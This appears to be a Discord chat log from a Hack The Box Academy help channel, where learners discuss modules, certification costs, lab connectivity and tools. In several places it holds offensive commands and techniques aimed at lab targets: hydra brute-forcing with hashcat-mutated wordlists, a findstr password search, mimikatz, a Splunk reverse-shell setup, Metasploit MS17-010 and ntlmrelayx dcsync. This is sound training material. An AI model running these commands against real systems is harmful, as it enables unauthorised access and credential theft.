Etc

hexed oyster
#

OK, it sounds to me like you're hinting at the 'server' field.

#

correct?

fringe urchin
#

Yes

hexed oyster
#

ok, here's the thing. I've tried that. and It didn't work for me and it doesn't match what I got in the hint. I'll try it.

#

ok. why did that work now?

full nimbus
#

Hi, I have a generic quesiton on hte windows privesc module / DLL Injection. I understand how dll injection works, however I don't understand how a user can attach a dll to a system process ? Can we somehow check the rights our current user have on running processes ?

fringe urchin
#

I have no clue what the hint meanskek

hexed oyster
#

I'm so frustrated.

#

OK. thanks. now I feel absolutely stupid.

fringe urchin
hexed oyster
#

@fringe urchin could be. ๐Ÿคท

#

Whatever. thank you all, again!

fringe urchin
unborn plaza
#

hi everyone. If i buy the exam ticket of "HTB Certified Web Exploitation Expert ", i have all the study path as well or no?

hexed oyster
#

@fringe urchin weird... fkn gremlins, ya'll.

tawdry flume
#

Hey! SO i've just completed the first module of the Pentest job path, the module in which the whole process of pentesting is explained.

I am a bit lost at the final part

#

So, in this job role path, should I continue with the modules that the job path has? Or should I do 1 technical module and 1 offensive, then do 3 retired machines and so on (whatever says in the above picture)?

fringe urchin
#

You dont need to do other machines/ etc to prepare for cpts. The module will fully prepare you

tawdry flume
#

Yes, read it, but didn't understand exactly if one technical module and one offensive is included in the job path

Or is it something that I have to do besides the job path, to practice what I learn

upbeat knot
#

sorry guys, just started to study HTM after tryhackme, rdp connection disconects all the time , tried timeout , restarting doesn work , machine pings well, can not finish my task. Is it only me who has that problem?

fringe urchin
fringe urchin
unkempt tartan
#

I have a question

#

Can I learn complete hacking with hackthebox?

#

Except watching videos on YouTube and not learning it completely bcz YouTube doesn't allow

fringe urchin
#

Yes example cpts path will prepare you for a penetration test job

unkempt tartan
#

Can I learn like how to make malware for educational purposes and defend against it for free?

fringe urchin
# unkempt tartan Wdyn

There is an exam/path in hack the box that will teach you to make a penetration test on target/targets

unkempt tartan
#

Does it teach offensive and defensive both?

worthy hollow
#

can someone help me on Password Attacks Lab - Hard i cant extract the hash of the vhd with bitlocker2john (signature not found)

fathom pendant
#

There's an offensive path and defensive path

unkempt tartan
fathom pendant
#

No videos

worthy hollow
#

i dont know

fringe urchin
# unkempt tartan Oh

That specific path no. But there is another one called security analysis certification which is defensive

unkempt tartan
#

And is it for free?

worthy hollow
fringe urchin
#

plus then the exam voucher which is around 200โ‚ฌ?

upbeat knot
tawdry flume
fringe urchin
fringe urchin
next bronze
#

just do it 4Head

#

if you don't understand/can't do it, come back later

tawdry flume
#

ok, cool, so I can start right away with it

#

thanks!

fringe urchin
#

thats not needed to progress in the module, sure if you want to learn a bit more you can do it, i personally didnt even know it existed lol

#

htb changed from the last time i was active ๐Ÿ˜ฆ i remember you needed to hackyourself the invite link or whatver it was

next bronze
#

same PepeOldHH

#

it was cool

fringe urchin
#

then did as many to get to hacker rank then life got busy, untill now, on monday the interviewers i had an interview by them gonna call me again PepeWork sadly nothing cyber related but if its my first job im takking it

fringe urchin
# next bronze it was cool

frfr i remember i had the correct mindset there but because of lack of knowlede i couldnt get the last thing to work so had to watch a yt video on how to get in KEKW

fringe urchin
wanton idol
next bronze
#

didn't know what I was doing back then

fringe urchin
# next bronze didn't know what I was doing back then

yea lol then remember some easy boxes i was stuck because the only "really" thing you could learn was from ippsec. dude was/is great. i remember being stuck for more then a few weeks on an active easy box. did it at the end lol. had such a great time. ngl from what i remember and from what the academy cpts path coveres in beginning you should be able to solve 99% of easy boxes

#

everything i remember is covered in the footpriting

#

will soon be more active on the boxes again once i buy myself a new computer pepeyesss

buoyant escarp
#

Password Attacks Hard Lab

||i have the B......vhd, i tried to mount it via guestmount, but it wants a passphrase, im stuck here for some while, i tried bitlocker2john but i cant get a hash out of it, am i even on the right path?||

next bronze
#

good times

fringe urchin
lucid gyro
#

Hello

buoyant escarp
unborn plaza
fringe urchin
fringe urchin
unborn plaza
#

so it's only exam ticket

#

how can i prepare to get that certification?

fringe urchin
#

You do the path

unborn plaza
#

are you talking about " Bug Bounty Hunter " and " Senior Web Penetration Tester " path?

unborn plaza
next bronze
#

applies to both

#

if you want to get CWEE, do Senior Web Penetration Teste

unborn plaza
#

aah ok thank you. i'm a cybersecurity student (i have the email from my university) and after the membership i can't take for free " Senior Web Penetration Tester "

#

i'am forced to buy a lot of cubes and spend a lot of money to get this path?

fringe urchin
#

Only t0 are free

#

Everything else costs cubes, you either buy gold or platium or other monthly sub to get cubes

#

But if you have the edu email, you can get to t2 i think all modules for 8โ‚ฌ per.month

unborn plaza
#

yes , i'm already a premium member

#

i can access to every module and pentesting path but no Senior Web Penetration Tester

#

i cheked for the price and is really expensive to buy cubes

#

1000$ / year only to get Senior Web Penetration Tester

acoustic owl
#

You have to buy T3 and T4 modules with cubes or buy the Gold annual subscription

unborn plaza
#

I think it's wrong for a student that want to improve own skills. It's really expensive

acoustic owl
unborn plaza
#

but no problem, it's just my opinion

#

i like htb and how it works

acoustic owl
#

And it is still much cheaper than, for example, OffSec

fringe urchin
unborn plaza
#

i know but offsec certifications are a must to get a job as a pentester

#

i mean for the companies

#

htb certifications are not required . it's only knowledge

fringe urchin
#

Htb cert is fairly new unlike oscp example which is already in the industry a long time. Cpts will teach you more and the modules are far better refined then the oscp ones.
But id guess its not standart yet since its fairly new

unborn plaza
#

yes , i like htb

fringe urchin
#

Amd oscp cost 1500-2500 while htb costs
250-500โ‚ฌ

unborn plaza
#

i know but for the companies if you want to be a pentester , you need to have the oscp cert . until some months ago it was just an asset but is a must right now

#

afterwards i like htb , it was just for the expensive price of that module

faint dragon
next bronze
#

more advanced module costs more money, it's simple as that

unborn plaza
#

it's enough, i just claimed that price for the Senior Web Penetration Tester is really expensive and should have been cheaper

faint dragon
#

Have you taken it?

unborn plaza
#

but it's ok. as i told you before i really like htb and the modules are better than offsec

next bronze
#

it's cheap compared to other certs at a similar level

fringe urchin
#

Its called senior and not beginner/intermediate

#

Id be happy to get a deal like that

buoyant escarp
fringe urchin
#

Like to run the bitwarden with pythin2 instead of 3

buoyant escarp
#

is bitwarden the same as bitlocker?

tulip dragon
#

CROSS-SITE SCRIPTING (XSS) --> Phishing --> document.getElementById('urlform').remove(); is the given example to deface parts of a website but this method does not work. It only seems to add the remove cmd as in plain text on the website.

fathom pendant
fringe urchin
fathom pendant
#

python2 bitlocker2john.py file

fringe urchin
#

Ah i see the command nowKappa hard to try to help withoit knowing thats needed

buoyant escarp
fathom pendant
#

The 2john files are python

buoyant escarp
fathom pendant
#

file bitlocker2john

buoyant escarp
next bronze
#

ARM aarch64

buoyant escarp
#

so no version for my chip?
i tought py is compatible with all archs

next bronze
#

probably download the x64 version of john the ripper

buoyant escarp
#

amd64 / intel64
not sure if it would run

next bronze
#

well that's not a pyton file, it's an ELF, so the architecture matters

next bronze
buoyant escarp
#

but i have an arm so why downloading amd64?

pseudo quarry
#

hey there, I'm new to cybersecurity, I mean basically beginning from scratch with 0 knowledge.
Can anyone tell me which modules to start from

next bronze
#

idk then, maybe it doesn't work there

#

you can use pwnbox

buoyant escarp
#

yea ill give it a shot

next bronze
pseudo quarry
buoyant escarp
#

lol also no python one on pwnbox

hybrid current
#

Hello guys

#

What Linux distro is stable with HTB lab

cloud urchin
#

any stable distro

next bronze
#

took a look at the repo, there's no python version of it

fathom pendant
#

I must have been thinking of a diff 2john file

fringe urchin
#

Just say "works on my machine"Kappa

fossil wing
#

Hi anyone can solved my dude? I'm studying the module "Password Attack" and I'm doing the labs, so, I finished the medium lab, but I don't understand, why do work this solution? Is work because the root made this file?

quasi wave
#

can someone give me another hint for the easy footprinting lab? Is there something I can google like a concept that will get me started finding the answer? I'm doing the lab and I'm stumped as to what to do and need a push in the right direction

#

I want to solve at least this first easy lab today

#

thanks

#

if there's something I can research that will help me figure it out that would be great

cloud urchin
#

did you enumerate which services were open?

#

services don't always run on standard ports either, so if you're not getting anywhere on any service you enumerated you may need to expand your enumeration of the box with a full port scan.

quasi wave
#

and do I just google how to do that with ssh program?

fringe urchin
#

Its maybe for a different service.

quasi wave
#

ok thanks

#

I am doing an ACK scan because yesterday my stealth scans were blocked

#

we'll see what this gets me

fathom pendant
#

There are no blocked scans on footprinting

fringe urchin
#

^

cloud urchin
quasi wave
#

ok I will I'll let you know

#

gonna try again today to do it myself

winged egret
#

Hello guys, Im currently doing the password attacks module and its been getting a bt confusing just need some clarification
are LSA secrets the same as the lsass service cache (which contains hashes for running sessions and services) ?
Also there are numerous ways to dump those hashes remotely and locally however does mimikatz (using sekurlsa::logonpasswords) dump SAM or LSASS or BOTH ?

wanton idol
winged egret
#

thanks guys

steady dust
quasi wave
#

I figured out easy footprinting lab with a little help

#

thank you @cloud urchin and everyone else who decided to help me

snow garden
#

Howdy. I am doing the Password Attacks Module and I am in the Password Mutation Section. I am doing the question " Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer."

#

I have been bruteforcing FTP with hydra using 64 threads after making my mutated list thru hashcat.

#

Yet this has taken me more than 30 m, I have researched and It usually takes ~30m, and I do not want to spend hours on this one question when I can move on.

#

I ran this command to get my mutated list

 hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
#

and then ran this in hydra

hydra -l sam -P mut_password.list ftp://10.129.202.64 -T 64 -I -vv
#

Started at xx:11 PM and its now xx:52 PM

#

Around 40 min is how long it has taken.

#

I have not cut the first 19k words in the list liek stated due to me being way to deep into the bruteforce to do so, so any suggestions or advice on how long this can take, or if i did something wrong? Ping me if so here, Thanks

fathom pendant
#

64 tends to be too aggressive for a lot of networks

#

48 is the sweetspot for many

snow garden
#

Ah well yeah, now it gives me errors and need to restart.

fathom pendant
#

I would say without trimming ~30 minutes

snow garden
#

How many words should I cut in the mutated list should I do to maximize eficiency, I been here for a min

fathom pendant
#

I think 17k is the common one that's mostly reliable up through most of it (save to a new list name/keep the original mutated list)

snow garden
cloud urchin
#

that's the hardest section of the whole module lol

snow garden
#

lol my friend had stopped here too

fathom pendant
snow garden
#

Because it wasnt working for him

winged egret
snow garden
fathom pendant
snow garden
#

Yup

#

Will try that!

fathom pendant
snow garden
#

I did at the start but ik SSH bruteforce is slow as shit

winged egret
#

I dont remember if it was ssh or ftp

#

usually ssh is the slowest right ?

fathom pendant
# snow garden Yup

At least you're not trying ssh. Though there is a tool, ssb, that makes ssh bruteforce speedy

snow garden
#

Gotcha

fathom pendant
#

But I at least recommend the intended tools first

snow garden
#

Yup

fathom pendant
#

Similar philosophy I had with footprinting/services I used a gui email client. Then learned the cli way, which was far more fun to do

winged egret
#

Since were here anyone has an easy explanation for what exactly dpapi keys do ? do they just encrypt passwords associated with services and so ?

steady dust
fringe urchin
winged egret
sly moon
#

I know this post is old but I just came here to say thank you. Was driving me nuts. lol

fringe urchin
# winged egret ๐Ÿคฃ

There are times where chatgpt can explain it very good aswell, and if not getting kt you can always tell him " explain it even easier"fingerguns

steady dust
#

triple checked everything and no shell

cloud urchin
#

worked for me

#

show your reverse shell splunk directory with 'tree'

#

if the directory structure is setup correctly, you should be able to modify the files with your ip/port info to get the reverse shell, create a tarball, then deploy the payload

steady dust
#

Well i created locally that structure, created the files, updated with my ip, create tar, open nc, upload them... no shell

cloud urchin
#

then we would need more detailed information of exactly how you set it up, because the steps outlined in the section definitely work

#

you're likely missing some configuration setup step

steady dust
#

yeah, found the issue ๐Ÿ™‚

#

i named the rev shell as rev.ps1 instead of run.ps1

pine apex
#

I don't understand what I'm doing wrong here. I don't know enough to understand the nuances of ' and ` and ", I copied the text straight from the module so I'm very unsure why it's not working.

cloud urchin
#

I haven't done that module, but from the message it looks like your json data is missing some values. I'd try to enumerate the endpoint to see what details are missing and fill those in.

wanton idol
#

i need help on Skills Assessment - File Upload Attacks, i cant seem a way to bypass the mime type or content type, i already read the upload.php via xxe but no idea comes to mind to bypass it

ocean night
soft cedar
#

the upload.php should give you an idea of the naming convention and url format.

cloud urchin
#

dang my box went down just before i got the flag and now i can't get back in even after restarting. can't ping it either.

#

there we go

steel gorge
steel gorge
#

I have tried a fair number of things at this stage and I still get the cert error. Can someone confirm that this exercise is doable?
#modules message tells me we need to run JDK/JVM 11 for this (I'm guessing due to Oracle licensing shenanigans avoidance)
I think that probably wants writing somewhere because it took a fair bit of digging to sort that.

valid viper
#

I can't install crackmapexec - I'm getting the following error:

Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 crackmapexec : Depends: python3-neo4j but it is not installable
E: Unable to correct problems, you have held broken packages.
cloud urchin
valid viper
cloud urchin
valid viper
old nimbus
#

Hi everyone, has anyone had this issue on the Print Spooler & NTLM Relaying module in the SOC Analyst path where impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2support throwing an error?

I keep getting the HMAC error: key: expected bytes or bytearray, but got 'int'

sinful drift
#

anyone else with this problem?

cloud urchin
#

yes, i can't load a vm either

void kayak
#

same, I tried to switch to other regions, no luck :/

#

ah, working now

dry halo
#

I just got rick rolled in web attacks

plucky latch
#

Anybody else having issues connecting via VPN? Keep on erroring out trying to remote desktop into target VM

wanton idol
dry halo
somber nebula
#

Could someone help my by explaining the question to me a bit more?
" Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer."
I have done all the other questions for this section, just don't understand what it is asking

#

This part isn't making much sense to me " customized version of that specific share"

#

For context this is HTB Academy Footprinting SMB

alpine umbra
#

happy new year all of you guys....

somber nebula
#

NVM got itprayge. It litterally just wanted what was in the comment section of the SMB listing.

dry halo
somber nebula
#

Thanks ๐Ÿ™‚ @dry halo . I just ran a listing and got the information haha. But thank you anyway ๐Ÿ™‚

dark sandal
#

NMAP module: it shows "To have a clear view of the SYN scan, we disable the ICMP echo requests (-Pn), DNS resolution (-n), and ARP ping scan (--disable-arp-ping)."
Questions:

  1. What does exactly mean a 'clear view of SYN scan'?
    2)In which situations we disable the ICMP echo requests?
  2. Same questions above for ARP ping and in which situation I would let ARP ping ON?
dry halo
# dark sandal NMAP module: it shows "To have a clear view of the SYN scan, we disable the ICMP...
  1. is there any wireshark screenshots if yes may be to remove unneccesary noise and also maybe on the target
  2. when host are configured to not listen to ping requests. Disabling ICMP echo requests can also help avoid detection as some IDS or firewalls may log or block ICMP traffic
  3. ARP sometimes can be used for stealth scanning (works in layer2)if ping is blocked we can use this.
    for local network discovery, host detection
dark sandal
#

Ty

brazen saffron
#

Getting same prolem as default :

#

I found the problem by comparing with forums etc.

rain garnet
#

Hi htb dudes do you know what's the password of the attacking machine htb academy ?

tidal mango
#

In the Using Crackmapexec course, Targets and Protocols section, the last question is "What's the full name of the smb module that starts with zero? " I feel like I am missing something obvious here, I have looked for both 0 and zero but I cannot figure out this question...

rain garnet
#

Hi htb dudes do you know what's the password of the attacking machine htb academy ?

acoustic owl
rain garnet
#

I did not get this? I just press start button and machine came out?

#

Do you know the password of that instance ?

acoustic owl
rain garnet
#

Not that one. The attack machine that's the target machine ?

acoustic owl
#

If there are no creds, you don't need any

#

you mean the pwnbox?

#

The creds are on the Desktop

rain garnet
#

Humm I would like to connect from my target machine to my attack machine through rdp? Why rdp asking for password?

rain garnet
acoustic owl
#

Why do you want to access the PwnBox with RDP?
Use either the PwnBox in the browser or your own VM with VPN

#

An additional machine in between only makes the lab unnecessarily slow

rain garnet
#

And why htb target machine keeps timing out my remote session. Humm they should have to fix this. ๐Ÿ™„

rain garnet
#

Paid for 500usd and service is not fully provided hayys๐Ÿ™„

acoustic owl
acoustic owl
acoustic owl
rain garnet
#

Okay thanks for your time. Hope they action users complain.. ๐Ÿ™ thinking to move to tryhackme. But not sure if their service is more better than htb.

wanton idol
#

htb ๐Ÿ”›๐Ÿ”

acoustic owl
#

As already mentioned, performance depends on many factors

gentle wren
#

htb is more betterer

rain garnet
acoustic owl
next bronze
#

it's provided

acoustic owl
#

Use either the PwnBox or your own VM with your tools, settings, etc

rain garnet
#

Does it cost money to them? If yes there subscription is expensive. Why they don't spend that money to make a better platform. So that user will be satisfied.

acoustic owl
#

The PwnBox is included in the modules

#

You can also use your own VM free of charge. It just depends on your setting

#

VirtualBox is free of charge. Parallels on Mac costs a license fee.
It depends on what you can and want to use

#

But that has nothing to do with HTB.

rain garnet
#

Dude I was asking to rdp to my pawnbox from may target machine. But it won't let me because rdp is obviously needed to enter a password credentials to be able to establish a remote connection.
Did you get that?

tawdry flume
#

Hi guys! I have a question from a module. It's theory-wise

" Workstations should be on their own network, and in a perfect world, each workstation should have a Host-Based Firewall rule preventing it from talking to other workstations. "

Isn't such a firewall rule interfering with the normal work if the workstations cannot communicate between themselves? If I want to send something to my colleague (a file for ex)... can I do it with such a rule?

acoustic owl
#

Bro, why do you want to establish an RDP connection to your PwnBox? That makes no sense.
Either use the PwnBox in the browser or use your own VM.

next bronze
rain garnet
#

Lol you guys don't get what I mean.

next bronze
#

there's no need to rdp to pwnbox, it's in your browser

rain garnet
acoustic owl
#

The creds are on the Desktop

tawdry flume
steel gorge
#

Re: HTTPS/TLS attacks skill assessment. The target box is available for 90 minutes and isn't extendable. I just got the "admin token" after waiting over an hour for the padbuster process to encrypt the plaintext.
I ran only the padbuster command having decrypt it on the last target (which also ran out of time)
Are things simply that slow or is it possible to speed it up?
Can I ask if the token is generated every time or if I can re-use the same one?
Otherwise, if there's a new token every time, there seems to be no way to complete this module with the time available.

acoustic owl
steel gorge
#

To be clear:
The only command I had time to run in the 90 minutes was the padbuster -plaintext command.
So is it a network thing or can I make it go faster somehow

acoustic owl
steel gorge
#

Can we DM so I don't give too much away here @acoustic owl ?

next bronze
bitter gazelle
#

helu

#

@bitter gazelle

acoustic owl
bitter gazelle
#

hello

fringe urchin
next bronze
next bronze
rain garnet
# acoustic owl

Dude thanks for your help.
However htb windows machine is keeps reconnecting all the time which is a waste of time for me. Need to chase the module as my subscription is nearly end.

#

Really hate this ๐Ÿ’ฉ๐Ÿ’ฉ๐Ÿ’ฉ๐Ÿ’ฉ

acoustic owl
#

Use either the PwnBox in the browser or your VM

#

But never both at the same time

rain garnet
#

Yes dude that's what I'm doing now.

#

But it's really ๐Ÿ’ฉ it thinks me to move to other platform. So freaking mild issue but it's a big deal for me as I'm chasing to finish the module.

#

It's a waste of time htb please fixed your windows box. It bothers me a lot. I have premium subscription which is expensive for my current status.

acoustic owl
#

There is no Premium subscription in the Academy.
Do you mean the silver annual subscription?

If you have connection problems, please contact Support

patent oak
acoustic owl
#

The last entry was from April 11th

patent oak
proper pelican
#

Hi guys. Iโ€™m terribly stuck on pivoting, tunneling, port forwarding modules skill assessment. Can anyone guide me on how to proceed? I discovered last machine, have creds but when I login from pivot windows host with mstsc.exe even though my IP changes I still see the same flag on c: as I saw on pivot windows. And I canโ€™t seen network disks connected. What am I doing wrong here?

north frigate
#

Cheers everyone ๐Ÿ™‚

I've got stuck (motivation-wise) recently as very much beginner. I thought the SOC Analyst path would be a good start as I had the most progression on it after my initial paths / modules. But somehow that path feels in many places like you'd need to have quite "random" knowledge. Going through the lab logs with wireshark is a very nice way to learn, but somehow I rarely understand why I should be looking out for this or that specific package / flag / whatever. I did not do great in the labs and when I found solutions online, I was still not able to UNDERSTAND why it works. This path feels a lot like "learning by heart" and not like "understanding what you do". And here I came across an idea: Maybe that path is simply not meant to be chosen first. Does this knowledge feel less arbitrary / random if you have done some pen-testing / bug-hunting first? Thanks ๐Ÿ™‚

toxic apex
#

can someone help me with the http attacks. I am getting errors that make no sense at all "invalid chunked encoding length"

#

there is no such thing as an "invalid chunked encoding length"

acoustic owl
honest gyro
#

hello guys im stuck at the web attacks module in the mass IDOR enumeration section long story short it says that the URL parameter should contain (?uid=1 or any number) however its not the case and when i tried to add it myself it didnt show anything (tried to curl it too but it didnt work) i dont understand the problem i'd be glad for any help ( i did pwnbox my machine and restart the target and that didnt work)

update:
i didnt use burp suite yes i am dump

north frigate
# acoustic owl Have you done the SOC Analyst Prerequisites path beforehand? The SOC Analyst pat...

Good point, I actually did not know that it exists. I just checked it out: I do have 90% of that Prerequisites path. So my final answer would be "mostly, yes" :D. (I'm missing half of the "into to assembly module")

I feel a bit like "as long as I dont know what an attacker would do, I dont understand what I need to watch out for". I'll try the basic bughunting / pen-testing stuff for now. Either I'm right about my assumption, OR I'll end up with a situation in which I think "without understanding system defenses, I dont understand what I'm doing as an attacker" again :D. Still, thank you for your reply and help!

toxic apex
#

can someone help me out with http attacks it's impossible to know if the mailhog is just dead like with the smtp headers or i am acutally doing it wrong

ivory jasper
#

Hey guys, I am having issues in SHELLS & PAYLOADS -> The Live Engagement

#

I cannot access Target via my pwnbox

#

Anyone experiencing same issue?

fringe urchin
#

So example they provide you woth the rdp creds. You need those to example xfreerfp to the target and from that target you can access the other 3

ivory jasper
#

Yep, I understand that for those 3 internal objects, I have to login to TARGET first, and use TARGET as a jump box to do further penetration testing, it worked before. But now I have trouble login on TARGET itself.

fringe urchin
#

Have you tried swicthing to tcp vpn? Tcp is more stable then udp

ivory jasper
#

I am using pwnbox, let me try to use openvpn

#

Thanks mate

proper pelican
#

Hi guys. Iโ€™m terribly stuck on pivoting, tunneling, port forwarding modules skill assessment. Can anyone guide me on how to proceed? I discovered last machine, have creds but when I login from pivot windows host with mstsc.exe even though my IP changes I still see the same flag on c: as I saw on pivot windows. And I canโ€™t seen network disks connected. What am I doing wrong here?

fringe urchin
# ivory jasper I am using pwnbox, let me try to use openvpn

I think pwnbox uses the same connection type and region as your selected openvpn one but im not 100% sure. I remember having trouble getting a stable connection aswell in the beginning but after trying some different eu academy connections and switching to tcp it worked. But i used my own machine

ivory jasper
fringe urchin
ebon jasper
#

Can someone explain me this little further?
Aren't these 2 statement talking about same thing?
How one can be packet crafting and another malicious when both outside of LAN. I just confused

limber surge
#

Firewall and IDS/IPS Evasion - Hard Lab

Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer.

i know what is the suspicious port but i cant seem to get my netcat to work. can someone hint me on this. it will just say connection refused.

fringe urchin
fringe urchin
#

Sure

shell vessel
strange forge
#

Anyone facing difficulty in connecting with target?

#

Target ip is not up. already 5 minutes have passed. i tried pinging, all packets lost.

halcyon marlin
#

@halcyon marlin

#

@everyone

dense pewter
#

Hi, I'm doing the first part of the Skill Assessment of the Active Directory Enumeration & Attacks module.

On the Windows foothold host, I discovered two IP addresses for AD hosts. What's the best way to figure out their hostnames? Using dig on the nameserver, there's only an A entry for itself. When I use nslookup with the name server, I get a connection timeout error.

wanton idol
dense pewter
dense pewter
acoustic owl
fringe urchin
#

Everyone||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹||||โ€‹|||||||||||| @acoustic owl

#

pekorat fk

patent oak
#

That's the Reporting module complete. Just AED between here and the exam. I'm scared steve_6

fringe urchin
half skiff
#

Im struggling with the last question on the DNS section of the Footprinting module, can I get an assist from someone?

#

"What is the FQDN of the host where the last octet ends with "x.x.x.203"? "
Pretty sure the question is trying to get me to brute force. Hint says something about trying different wordlists, tried all the seclists ones but still cant find anything with the octet 203. What other subdomain wordlists are there?

old nimbus
old atlas
#

The password you are looking for could be case insensitive, so try to adapt your command to such case : findstr /S /I /C:"password" "C:\Users\*"*.txt *.ini *.cfg *.config *.xml

wanton idol
strange forge
#

smtp footprinting. smtp-user-enum is a big mess. changed timeout too, still unable to get valid user. also the target ip gets down in between. bruteforcing a whole mess.

steady dust
#

are there any problems with the htb infra? ๐Ÿ™‚

fringe urchin
steady dust
#

i mean the VPN is taking loooonnggg time to connect

brazen saffron
#

There is maybe an SSTI on a server only if it's using Flask from python? ๐Ÿค”

fringe urchin
strange forge
strange forge
#

Got it.

fringe urchin
strange forge
fringe urchin
#

Right i think i know which one you used... Had trouble on that one aswell but used the memtioned one and 15s was sweet spot

rotund steppe
#

Working on the last question on the live engagement portion of Shells and Payloads: "Exploit and gain a shell session with Host-3. Then submit the contents of C:\Users\Administrator\Desktop\Skills-flag.txt" I've identified the metaploit module I'm supposed to use, set rhosts and lhosts, but it doesn't work: ```msf6 exploit(windows/smb/ms17_010_psexec) > run

[] Started reverse TCP handler on host-ip:4444
[
] 172.16.1.13:445 - Target OS: Windows Server 2016 Standard 14393
[] 172.16.1.13:445 - Built a write-what-where primitive...
[+] 172.16.1.13:445 - Overwrite complete... SYSTEM session obtained!
[
] 172.16.1.13:445 - Selecting PowerShell target
[] 172.16.1.13:445 - Executing the payload...
[+] 172.16.1.13:445 - Service start timed out, OK if running a command or non-service executable...
[
] Exploit completed, but no session was created.

fathom pendant
rotund steppe
#

Yes, it's supposed to be the ip of the foothold box right?

fringe urchin
#

Yea

#

I meam if you find out the exploit needed, you only need to set lhost and rhosts

fathom pendant
#

It's not the 10.129.x.x

patent oak
#

Hello peeps, could I ask those who have done AED blind. Is it all one lab or something? There doesn't look to be an assessment to jump to.

steady dust
patent oak
#

If I don't look at the questions, how do I answer them ๐Ÿ˜„

fathom pendant
fringe urchin
fathom pendant
#

You don't look at questions until after you have full compromise

patent oak
#

Ah cool, so it's the same IP in each section? Just grab the one from section 1 and have at it?

hardy sand
#

I am currently brushing up on my Linux fundamentals, using the Linux Fundamentals module and I have noticed that assignments can be very narrow when it comes to accepted responses. For example:
In /module/18/section/74, the first assignment talks about "sarting a simple web server using NPM" even though npm, as a package manager, isn't designed to do so. A combined && command of npm and npx to install and run the required service isn't accepted as a valid answer, nor is using just the npx command. Only after looking at the hint, did I realize that the only accepted answer is to run the package command directly without npx.

I think the assignment as a whole could be less of a non-sequitur onto itself, but my actual question is: When preparing for HTB certifications, should I specifically study the assignment-response patterns of the modules and practice to anticipate those or do the exams have more sophisticated validation of whether an assignment has been completed with a fully valid solution?

I apologize if this question sounds annoyed, I'm not, I really just want to know whether I need to take this sort of consideration into account while practicing for certifications. Sorry I didn't post the full assignment and actual commands I tried, I didn't want to spoil it for anyone.

patent oak
#

I actually read the intros a few days ago

#

I see the Scope now

fathom pendant
rotund steppe
patent oak
#

That's a good start haha

#

Thanks

#

๐Ÿ˜„

hardy sand
fathom pendant
#

Sec

fringe urchin
fading comet
#

๐Ÿ‘€

fathom pendant
#

The numbers mean nothing

rotund steppe
hardy sand
#

@fathom pendant Working with Web Services

fading comet
#

feel like I'm in a dream not knowing what's going on

fringe urchin
rotund steppe
#

Why though?

#

The page says I have access to that subnet

fathom pendant
fading comet
#

Jeez I just started taking cybersecurity courses Idk know where to start to improve my skills

fathom pendant
#

You just need the http... 8080 part

fringe urchin
hardy sand
#

@fathom pendant I have the correct answer, yes

fathom pendant
fathom pendant
#

The confusion comes from the module used is a part of npm, it's not it's own standalone command

hardy sand
#

@fathom pendant Oh yes, but it was very unintuitive for me. I tried it with "npm i http... && npx http... 8080", which worked like a charm in my Parrot VM, wasn't an accepted answer. "npx http..." wasn't either, nor "npm http...", only "http..." without npm or npx worked.